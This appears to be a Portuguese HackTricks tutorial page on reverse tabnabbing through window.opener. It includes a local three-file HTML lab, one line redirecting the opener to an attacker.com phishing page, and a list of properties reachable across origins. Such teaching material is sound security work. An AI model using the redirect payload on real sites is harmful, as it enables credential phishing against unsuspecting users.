6.5 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Obtenha swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Descrição
Em uma situação em que um atacante pode controlar o argumento href
de uma tag <a
com o atributo target="_blank" rel="opener"
que será clicado por uma vítima, o atacante pode apontar este link para um site sob seu controle (um site malicioso). Então, uma vez que a vítima clica no link e acessa o site do atacante, este site malicioso será capaz de controlar a página original via o objeto javascript window.opener
.
Se a página não tiver rel="opener"
mas contiver target="_blank"
e também não tiver rel="noopener"
ela também pode ser vulnerável.
Uma maneira comum de abusar desse comportamento seria alterar a localização do site original via window.opener.location = https://attacker.com/victim.html
para um site controlado pelo atacante que parece com o original, para que possa imitar o formulário de login do site original e solicitar credenciais ao usuário.
No entanto, observe que como o atacante agora pode controlar o objeto de janela do site original ele pode abusar de outras maneiras para realizar ataques mais furtivos (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
Visão Geral
Com link de retorno
Link entre páginas pai e filho quando o atributo de prevenção não é usado:
Sem link de retorno
Link entre páginas pai e filho quando o atributo de prevenção é usado:
Exemplos
Crie as seguintes páginas em uma pasta e execute um servidor web com python3 -m http.server
Em seguida, acessar http://127.0.0.1:8000/
vulnerable.html, clique no link e observe como a URL do site original muda.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% endcode %}
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% endcode %}
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Propriedades acessíveis
No cenário em que ocorre um acesso cross-origin (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript window, referenciadas pelo objeto JavaScript opener, que podem ser acessadas por um site malicioso estão limitadas às seguintes:
opener.closed
: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.opener.frames
: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.opener.length
: O número de elementos iframe presentes na janela atual é retornado por esta propriedade.opener.opener
: Uma referência à janela que abriu a janela atual pode ser obtida através desta propriedade.opener.parent
: Esta propriedade retorna a janela pai da janela atual.opener.self
: O acesso à própria janela atual é fornecido por esta propriedade.opener.top
: Esta propriedade retorna a janela do navegador mais acima.
No entanto, em casos em que os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript window.
Prevenção
As informações de prevenção estão documentadas na HTML5 Cheat Sheet.
Referências
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.